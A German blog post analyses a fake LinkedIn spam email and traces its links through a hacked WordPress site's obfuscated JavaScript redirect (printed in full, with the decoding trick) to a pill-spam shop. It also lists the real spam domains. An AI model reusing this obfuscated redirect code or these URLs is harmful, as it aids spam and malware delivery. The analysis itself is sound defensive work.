Niemals vom Design einer HTML-formatierten E-Mail beeindrucken lassen! Diese Spam kommt nicht von LinkedIn, was man wegen akuter Doofheit der Spammer in der Auswahl ihres gefälschten Absenders…
Von: LinkedIn <gutiern@stthom.edu>
…auch beim Hingucken sehen kann. Das richtige LinkedIn würde selbstverständlich eine Mailadresse aus seiner eigenen Domain nehmen. 😉
Wenn der Spammer so dumm ist, reißt das Design es auch nicht mehr raus:
Was man im Screenshot des HTML-Layouts nicht sieht, ist die folgende unsichtbare Spamprosa am Ende der Mail:
amaretto inconsistency yanked newcastle syllogism abstained informing formalizations leaves nucleus
Dieser Text wird in jeder Spam anders sein und soll den Spamfiltern das Leben erschweren.
Sämtliche Links in dieser Spam führen in eine gecrackte, mit WordPress betriebene Website portugiesischer Sprache. Dort gibt es eine vorsätzlich kryptisch formulierte Javascript-Weiterleitung:
$ lynx -mime_header http://cuidandomais.com.br/wp-content/uploads/apostolicj.html
HTTP/1.1 200 OK
Date: Sat, 04 Aug 2018 09:00:54 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 01 Aug 2018 20:49:42 GMT
ETag: "df9f7-68d-57265d58374b7"
Accept-Ranges: bytes
Content-Length: 1677
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>mournfully32999 Imprisond. Length - bending, roys: Sense. Latest lucie poets reaping - cull.</title>
</head>
<body>
<script type="text/javascript">
bared();
function holidayb(aholidayb,bholidayb)
{
cholidayb = "";
for (dholidayb = 0; dholidayb < bholidayb.length; dholidayb++)
{
eholidayb = bholidayb[dholidayb];
fholidayb = eholidayb - aholidayb;
gholidayb = String.fromCharCode(fholidayb);
cholidayb = cholidayb + gholidayb;
}
return cholidayb;
}
function opposing(harmless,sorrows)
{
courtesies = flutterd / sip;
beautifully = pursue / daisy;
ask = sweetly - scannd;
hadn = bands - braes;
}
function bared()
{
setTimeout(effortlessc(),1036);
}
function hither(sunshine)
{
figures = latest - panting;
seeking = grotto / shy;
confuse = lucky + infant;
}
function effortlessc()
{
aeffortlessc = planneda();
beffortlessc = [124,110,115,105,116,124,51,121,116,117,51,113,116,104,102,121,110,116,115,51,109,119,106,107,66,44,109,121,121,117,63,52,52,107,102,121,116,107,107,50,103,116,105,126,57,113,110,108,109,121,51,124,116,119,113,105,52,68,102,66,57,53,54,56,56,59,43,104,66,104,117,104,105,110,106,121,43,120,66,54,61,53,60,55,53,54,61,44,64];
return holidayb(aeffortlessc,beffortlessc);
}
function unprofitable()
{
guests = yellow - panting;
hair = homefelt / common;
}
function homefelt()
{
beautifully = train + mild;
}
function benignant(sticking,prisons)
{
debut = plotted * imprisond;
}
function planneda(hideandseeki)
{
return 5;
}
</script>
</body>
</html>
$ _
Um zu sehen, wo die Reise hingeht, besinne ich mich darauf, dass Rechner nun einmal besser rechnen können als ich und ersetze einfach setTimeout
durch document.write
…
$ lynx -source http://cuidandomais.com.br/wp-content/uploads/apostolicj.html | sed -e s/setTimeout/document.write/ -e s/,1036// >blah.html
$ _
…und lasse meinen Browser das „Entziffern“ für mich machen, um zu sehen, was da ausgeführt werden sollte – dafür muss ich natürlich Javascript zulassen, was ich standardmäßig nicht gestatte:
window.top.location.href='http://fatoff-body4light.world/?a=401336&c=cpcdiet&s=18072018';
Aber zum Glück für den Rest der Welt gibt es dort – nicht einmal eine Stunde, nachdem ich diese Spam empfangen habe – schon nichts mehr zu sehen:
$ lynx -source http://fatoff-body4light.world/
Looking up fatoff-body4light.world
Making HTTP connection to fatoff-body4light.world
Sending HTTP request.
HTTP request sent; waiting for response.
HTTP/1.1 301 Moved Permanently
Data transfer complete
HTTP/1.1 301 Moved Permanently
Using https://fatoff-body4light.world/
Looking up fatoff-body4light.world
Making HTTPS connection to fatoff-body4light.world
Verified connection to fatoff-body4light.world (cert=fatoff-body4light.world)
Certificate issued by: /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
Secure 128-bit TLS1.2 (ECDHE_RSA_AES_128_GCM_SHA256) HTTP connection
Sending HTTP request.
HTTP request sent; waiting for response.
Alert!: Unexpected network read error; connection aborted.
Can't Access `https://fatoff-body4light.world/'
Alert!: Unable to access document.
lynx: Can't access startfile
$ _
Das gefällt mir. 😉
Leider ist es nur die halbe Wahrheit. 🙁
In Wirklichkeit sollen die „Inhalte“ vor automatischen Analysen versteckt werden. Man sieht dort nur etwas, wenn man auch die URI-Parameter anhängt, die mit irreführender Spam und vorsätzlich kryptischen Javascript-Weiterleitungen bekannt gemacht werden. Aber erstmal gibt es noch eine Weiterleitung…
$ location-cascade "http://fatoff-body4light.world/?a=401336&c=cpcdiet&s=18072018"
1 https://fatoff-body4light.world/?a=401336&c=cpcdiet&s=18072018
2 https://fatoff-body4light.world/all/ytsl/cpc?bhu=CWpYzN8K6PkSaG2iT8B8digyiN9zFU1rVT9YW
$ _
…bevor man in den „Genuss“ einer weiteren Javascript-Weiterleitung kommt:
$ lynx -source "https://fatoff-body4light.world/all/ytsl/cpc?bhu=CWpYzN8K6PkSaG2iT8B8digyiN9zFU1rVT9YW"
<link rel="stylesheet" href="/assets/CWpYzN8K6PkSaG2iT8B8digyiN9zFU1rVT9YW/theme_xa9fa4.css?CID=411298&ADID=2129826" type="text/css"> <link rel="dns-prefetch" href="http://178.3.171.181.d.megaanalitycsstats.com"><script>
window.location.replace("http://magictabsstore.ru");
</script>
$ _
Ganz wichtig: Wenn man eine Seite ohne Inhalte hat, muss man unbedingt ein Stylesheet einbinden! 😀
Nun, unter magictabsstore (punkt) ru
begegnet einem dann die Fassade einer Pimmelpillen-Apotheke der spammigen Marke „Canadian Pharmacy“, die so aussieht:
Ich gehe übrigens davon aus, dass es sich hier um eine „Notweiterleitung“ handelt, bei der man landet, wenn man keinen anfälligen Webbrowser hat. Leider habe ich es in einer Mischung aus Müdigkeit und Sommerheiterkeit (eine schönere Umschreibung für Dummheit ist mir gerade nicht eingefallen) versäumt, den User-Agent
von lynx
zu ändern, zum Beispiel in einen Internet Explorer 10. Angesichts der besonderen Mühe im Verstecken von Inhalten, damit diese wirklich nur bei klickenden Spamempfängern auftauchen, gehe ich davon aus, dass über eine komplizierte Weiche versucht werden wird, jedem anfälligen Browser auf jedem Betriebssystem sein aktuelles Schadsoftware-Paket auszuliefern. Wenn denn eine Woche später der Schaden eintritt, erinnern sich die meisten Menschen nicht mehr an „die komische Mail von LinkedIn“.
Um sich vor solchen Gefahren zu schützen, gibt es – neben der obligatorischen Absicherung des verwendeten Webbrowsers durch einen Adblocker und einen Scriptblocker – ein ganz einfaches Mittel: Die Angewohnheit, niemals in eine E-Mail zu klicken und niemals einen Mailanhang zu öffnen, der nicht vorher explizit vereinbar war. Wer bei einer solchen angeblichen Benachrichtung von LinkedIn die Website von LinkedIn über ein Lesezeichen aufruft, kann gar nicht von Kriminellen überrumpelt werden. Diese sehr einfache und völlig kostenlose Vorsichtsmaßnahme kann sehr viel Ärger und Geld sparen. Denn natürlich hilft sie auch gegen überzeugend vorgetragene Phishing-Maschen und gegen Schadsoftware im Mailanhang.